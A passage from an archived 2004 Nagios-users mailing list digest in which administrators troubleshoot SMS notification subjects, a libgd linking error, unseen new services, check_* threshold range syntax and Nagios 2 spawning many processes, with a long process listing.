/usr/bin/mutt -s $CONTACTPAGER$ **'
Pieter Grobbelaar wrote: >Hi there > >I read through your FAQ pages and saw the entry for notifications >through SMS. > >My problem is this: > >We have an existing E-mail to SMS gateway, but it requires the number of >the cellular phone in the Subject Field. > >Is there a way that the Nagios config files can be configured to have a >subject line added to the contacts.cfg field or possibly the macro's >associated with e-mail? > >Regards > >Pieter > > > >------------------------------------------------------- >This SF.Net email is sponsored by: IBM Linux Tutorials >Free Linux tutorial presented by Daniel Robbins, President and CEO of >GenToo technologies. Learn everything from fundamentals to system >administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click >_______________________________________________ >Nagios-users mailing list >Nagios-users at lists.sourceforge.net >https://lists.sourceforge.net/lists/listinfo/nagios-users >::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. >::: Messages without supporting info will risk being sent to /dev/null > > ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 5 10:38:08 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 05 Mar 2004 09:38:08 +0000 Subject: Statusmap Setup In-Reply-To: <1078441174.7481.12.camel@sabaki.dcs.uci.edu> References: <1078441174.7481.12.camel@sabaki.dcs.uci.edu> Message-ID: <40484A80.3020301@exponential-e.com> Dan Stromberg wrote: > On Tue, 2004-02-24 at 09:27, Matt Pounsett wrote: > >>On Tue, 24 Feb 2004, James Wade wrote: >> >> >>>[Tue Feb 24 10:52:14 2004] [error] [client 192.168.0.22] Premature end >>>of script headers: /usr/local/nagios/sbin/statusmap.cgi >>>ld.so.1: statusmap.cgi: fatal: libgd.so.2: open failed: No such file or >>>directory >>> >>>However, when I look in /usr/local/lib, I find libgd.so.2 >> >>is /usr/local/lib is your ldconfig path? (or LD_LIBRARY_PATH environment >>variable if you're on Solaris) Sorry, missed the rest of this thread. If this is a Solaris compile issue try using crle to add /usr/local/lib to the runtime linking environment. HTH, apologies if I've got the wrong end of the stick from the one message. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From jim.mozley at exponential-e.com Fri Mar 5 10:51:55 2004 From: jim.mozley at exponential-e.com (Jim Mozley) Date: Fri, 05 Mar 2004 09:51:55 +0000 Subject: RFC L2 (switch) topology. Mainly off-topic. In-Reply-To: <20040305171709.B63776@IPAustralia.Gov.AU> References: <20040305171709.B63776@IPAustralia.Gov.AU> Message-ID: <40484DBB.30401@exponential-e.com> Stanley Hopcroft wrote: > - we already use big name product foo to do this and foo is great Would it be worth taking a look at OpenNMS to check out its layer-2 capabilities? I had a look some time ago and it was the only software I've never been able to get working on Solaris, but did end up seeing it in action on redhat. It's not big product foo (although I didn't get on with it and thought it was a bit foobar) and is supposed to scale to large network management applications. Jim Mozley ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mseisdedos at mediafusion.es Fri Mar 5 10:49:56 2004 From: mseisdedos at mediafusion.es (montse) Date: Fri, 5 Mar 2004 10:49:56 +0100 Subject: i can't see new added service. In-Reply-To: <40484A80.3020301@exponential-e.com> References: <40484A80.3020301@exponential-e.com> Message-ID: <000a01c40297$37b1c150$520101c0@mesa.local> Hello every body: I running Nagios 1.2 and i added 2 new services. I restart nagios but under that host I only see old services. I have run nagios in debug mode and it loads the new services, and in the status.log there is a line for these services. I have delete status.log and let nagios to regenerate, but it still happening. Any help, I think it has to do with the status.cgi but.... any idea? Thanks in advance. ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From fredrik.wanglund at mobeon.com Fri Mar 5 11:13:37 2004 From: fredrik.wanglund at mobeon.com (=?ISO-8859-1?Q?Fredrik_W=E4nglund?=) Date: Fri, 05 Mar 2004 11:13:37 +0100 Subject: i can't see new added service. In-Reply-To: <000a01c40297$37b1c150$520101c0@mesa.local> References: <000a01c40297$37b1c150$520101c0@mesa.local> Message-ID: <404852D1.6020001@mobeon.com> A very common cause is that not all Nagios-processes are stopped when you restart Nagios. Stop Nagios and check carefully that all processes has ended before you start it again. /FredrikW montse wrote: > Hello every body: > I running Nagios 1.2 and i added 2 new services. I restart nagios but > under that host I only see old services. > I have run nagios in debug mode and it loads the new services, and in > the status.log there is a line for these services. > I have delete status.log and let nagios to regenerate, but it still > happening. > Any help, I think it has to do with the status.cgi but.... any idea? > Thanks in advance. > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mseisdedos at mediafusion.es Fri Mar 5 11:21:16 2004 From: mseisdedos at mediafusion.es (montse) Date: Fri, 5 Mar 2004 11:21:16 +0100 Subject: i can't see new added service. In-Reply-To: <404852D1.6020001@mobeon.com> References: <404852D1.6020001@mobeon.com> Message-ID: <000c01c4029b$982674a0$520101c0@mesa.local> Sorry, i forgot to say, i verified just one nagios proccess was running. > -----Mensaje original----- > De: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] > Enviado el: viernes, 05 de marzo de 2004 11:14 > Para: montse > CC: nagios-users at lists.sourceforge.net > Asunto: Re: [Nagios-users] i can't see new added service. > > A very common cause is that not all Nagios-processes are stopped when > you restart Nagios. Stop Nagios and check carefully that all processes > has ended before you start it again. > > /FredrikW > > > montse wrote: > > > Hello every body: > > I running Nagios 1.2 and i added 2 new services. I restart nagios but > > under that host I only see old services. > > I have run nagios in debug mode and it loads the new services, and in > > the status.log there is a line for these services. > > I have delete status.log and let nagios to regenerate, but it still > > happening. > > Any help, I think it has to do with the status.cgi but.... any idea? > > Thanks in advance. > > > > > > > > ------------------------------------------------------- > > This SF.Net email is sponsored by: IBM Linux Tutorials > > Free Linux tutorial presented by Daniel Robbins, President and CEO of > > GenToo technologies. Learn everything from fundamentals to system > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > _______________________________________________ > > Nagios-users mailing list > > Nagios-users at lists.sourceforge.net > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 5 11:34:29 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 05 Mar 2004 10:34:29 +0000 Subject: check_* -w and -c switches In-Reply-To: <8B62E114-6E6B-11D8-8918-000A95989E4A@lixfeld.ca> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> <20040304231810.25496.qmail@minnow.softflare.net> <8B62E114-6E6B-11D8-8918-000A95989E4A@lixfeld.ca> Message-ID: <20040305103429.2808.qmail@minnow.softflare.net> Jason Lixfeld writes: > There is no explicit documentation on what these values mean so how do you > get critical at 0 and above 30 out of -c 1:30? The explanation is there. It might not be clear, but it's there. You express a range for which it is NOT critical. Endpoints of the range are included. It goes critical if you go outside the range. So -c 1:30 says it's not critical if it's anywhere between 1 to 30 inclusive, it's critical outside that range. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From mseisdedos at mediafusion.es Fri Mar 5 11:51:39 2004 From: mseisdedos at mediafusion.es (montse) Date: Fri, 5 Mar 2004 11:51:39 +0100 Subject: i can't see new added service. In-Reply-To: <000c01c4029b$982674a0$520101c0@mesa.local> References: <000c01c4029b$982674a0$520101c0@mesa.local> Message-ID: <000d01c4029f$d6934d90$520101c0@mesa.local> Ok, i know what was happening, although I don't know why... I started nagios with a new config file nagios.cfg.new where I had spread services over several files i.e. services_dns.cfg, services_traps.cfg etc.... In that configuration no service.cfg appeared, but it still existed under the nagios/etc directory. I don't know why nagios was reading this file. I have deleted services.cfg and renamed nagios.cfg.new to nagios.cfg and I have started nagios with this file again and every thing works ok. Thanks for your help. > -----Mensaje original----- > De: nagios-users-admin at lists.sourceforge.net [mailto:nagios-users- > admin at lists.sourceforge.net] En nombre de montse > Enviado el: viernes, 05 de marzo de 2004 11:21 > Para: 'Fredrik W?nglund' > CC: nagios-users at lists.sourceforge.net > Asunto: RE: [Nagios-users] i can't see new added service. > > Sorry, i forgot to say, i verified just one nagios proccess was running. > > > -----Mensaje original----- > > De: Fredrik W?nglund [mailto:fredrik.wanglund at mobeon.com] > > Enviado el: viernes, 05 de marzo de 2004 11:14 > > Para: montse > > CC: nagios-users at lists.sourceforge.net > > Asunto: Re: [Nagios-users] i can't see new added service. > > > > A very common cause is that not all Nagios-processes are stopped when > > you restart Nagios. Stop Nagios and check carefully that all processes > > has ended before you start it again. > > > > /FredrikW > > > > > > montse wrote: > > > > > Hello every body: > > > I running Nagios 1.2 and i added 2 new services. I restart nagios > but > > > under that host I only see old services. > > > I have run nagios in debug mode and it loads the new services, and > in > > > the status.log there is a line for these services. > > > I have delete status.log and let nagios to regenerate, but it still > > > happening. > > > Any help, I think it has to do with the status.cgi but.... any idea? > > > Thanks in advance. > > > > > > > > > > > > ------------------------------------------------------- > > > This SF.Net email is sponsored by: IBM Linux Tutorials > > > Free Linux tutorial presented by Daniel Robbins, President and CEO > of > > > GenToo technologies. Learn everything from fundamentals to system > > > > administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click > > > _______________________________________________ > > > Nagios-users mailing list > > > Nagios-users at lists.sourceforge.net > > > https://lists.sourceforge.net/lists/listinfo/nagios-users > > > ::: Please include Nagios version, plugin version (-v) and OS when > > reporting any issue. > > > ::: Messages without supporting info will risk being sent to > /dev/null > > > > ------------------------------------------------------- > This SF.Net email is sponsored by: IBM Linux Tutorials > Free Linux tutorial presented by Daniel Robbins, President and CEO of > GenToo technologies. Learn everything from fundamentals to system > administration.http://ads.osdn.com/?ad_id70&alloc_id638&op?k > _______________________________________________ > Nagios-users mailing list > Nagios-users at lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/nagios-users > ::: Please include Nagios version, plugin version (-v) and OS when > reporting any issue. > ::: Messages without supporting info will risk being sent to /dev/null ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id70&alloc_id638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From pla at softflare.com Fri Mar 5 12:19:27 2004 From: pla at softflare.com (Paul L. Allen) Date: Fri, 05 Mar 2004 11:19:27 +0000 Subject: check_* -w and -c switches In-Reply-To: <20040304220311.287412ea.karl@debisschop.net> References: <56221198-6E1E-11D8-930C-000A95989E4A@lixfeld.ca> <20040304231810.25496.qmail@minnow.softflare.net> <20040304220311.287412ea.karl@debisschop.net> Message-ID: <20040305111928.21358.qmail@minnow.softflare.net> Karl DeBisschop writes: > The output from check_procs --help is below. 2 paragraphs plus 4 > examples. Please feel free to suggest specific improvements. The paragraph I came up with to explain the full range syntax was: RANGEs are specified as 'min:max', 'min:', ':max', 'max' or '0'. A RANGE specified as 'min:' is treated as min:infinity. A RANGE specified as '0' is treated as '0:infinity'. A RANGE specified as ':max' or 'max' is treated as '0:max'. The symbol '~' is treated as negative infinity. If the RANGE is prefixed with '@' then alert if inside the range rather than outside the range. I don't know offhand if check_procs supports the full syntax, so some of that may not be applicable. > I guess an example for 0 is in order: Probably a good idea. People ought to be able to figure it out, but it's a fairly common requirement if you need to check that a particular daemon is running. I generally check crond that way. -- Paul Allen Softflare Support ------------------------------------------------------- This SF.Net email is sponsored by: IBM Linux Tutorials Free Linux tutorial presented by Daniel Robbins, President and CEO of GenToo technologies. Learn everything from fundamentals to system administration.http://ads.osdn.com/?ad_id=1470&alloc_id=3638&op=click _______________________________________________ Nagios-users mailing list Nagios-users at lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/nagios-users ::: Please include Nagios version, plugin version (-v) and OS when reporting any issue. ::: Messages without supporting info will risk being sent to /dev/null From Christiaan.Ehlers at inclarity.co.uk Fri Mar 5 12:28:52 2004 From: Christiaan.Ehlers at inclarity.co.uk (Christiaan Ehlers) Date: Fri, 5 Mar 2004 11:28:52 -0000 Subject: Nagios using to much resources Message-ID: <26C5F6BB63EB3A4AB2A5BF8F6FDB85ADDEE10A@abstelecom.com> Hi My nagios was behaving very well, then I installed version 2. After the upgrade, it worked fine for a while no it seems to be hitting the machine that I am running it on quite hard. It is trying to use nearly 100% processor all the time. It also spawned a whole lot of other nagios processes. Is this normal, or is this brought on by a configuration error? Regards Christiaan nagios 25840 48.8 0.0 4760 20 ? R Mar02 2139:46 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 5752 0.0 0.2 4764 1244 ? S 00:00 0:13 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28379 0.0 0.0 4764 4 ? S 11:05 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28423 0.0 0.0 4764 4 ? S 11:05 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28426 0.0 0.0 4764 4 ? S 11:05 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28479 0.0 0.0 4764 4 ? S 11:05 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28679 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28714 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28717 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28719 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28724 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28732 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28735 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28745 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28760 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28776 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28785 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28788 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28792 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28809 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28828 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28833 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28892 0.0 0.0 4764 4 ? S 11:06 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 28983 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29010 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29012 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29061 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29063 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29067 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29070 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29077 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29079 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29083 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29088 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29093 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29117 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29131 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29156 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29238 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29248 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29257 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29272 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29276 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29279 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29284 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29286 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29289 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29293 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29300 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29303 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29328 0.0 0.0 4764 4 ? S 11:07 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29339 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29384 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29386 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29405 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29421 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29426 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29496 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29515 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29549 0.0 0.0 4764 4 ? S 11:08 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29623 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29715 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29775 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29839 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29841 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29845 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29850 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29854 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29856 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29887 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 29920 0.0 0.0 4764 4 ? S 11:10 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 30087 0.0 0.0 4764 4 ? S 11:12 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 30224 0.0 0.0 4764 4 ? S 11:12 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 30714 0.0 0.0 4764 4 ? S 11:15 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 30902 0.0 0.0 4764 4 ? S 11:15 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 30929 0.0 0.0 4764 4 ? S 11:15 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31221 0.0 0.0 4764 4 ? S 11:17 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31315 0.0 0.1 4764 812 ? S 11:17 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31332 0.0 0.1 4764 880 ? S 11:17 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31392 0.0 0.1 4764 880 ? S 11:17 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31917 0.0 0.1 4764 888 ? S 11:20 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31919 0.0 0.1 4764 888 ? S 11:20 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31925 0.0 0.1 4764 888 ? S 11:20 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31927 0.0 0.1 4764 888 ? S 11:20 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31942 0.0 0.1 4764 888 ? S 11:20 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31970 0.0 0.1 4764 888 ? S 11:20 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 31996 0.0 0.1 4764 888 ? S 11:20 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32298 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32300 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32303 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32306 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32328 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32333 0.0 0.2 4764 1244 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32344 0.0 0.2 4764 1432 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32348 0.0 0.2 4764 1416 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32353 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32359 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32361 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32376 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32379 0.0 0.2 4764 1460 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32416 0.0 0.2 4764 1476 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32419 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32421 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32424 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32429 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32431 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32438 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32443 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32445 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32449 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32453 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32457 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32461 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32467 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32469 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32472 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32475 0.0 0.2 4764 1476 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32481 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32486 0.0 0.2 4764 1484 ? S 11:22 0:00 /usr/bin/nagios -d /etc/nagios/nagios.cfg nagios 32488 0.0 0.2 4764 1484 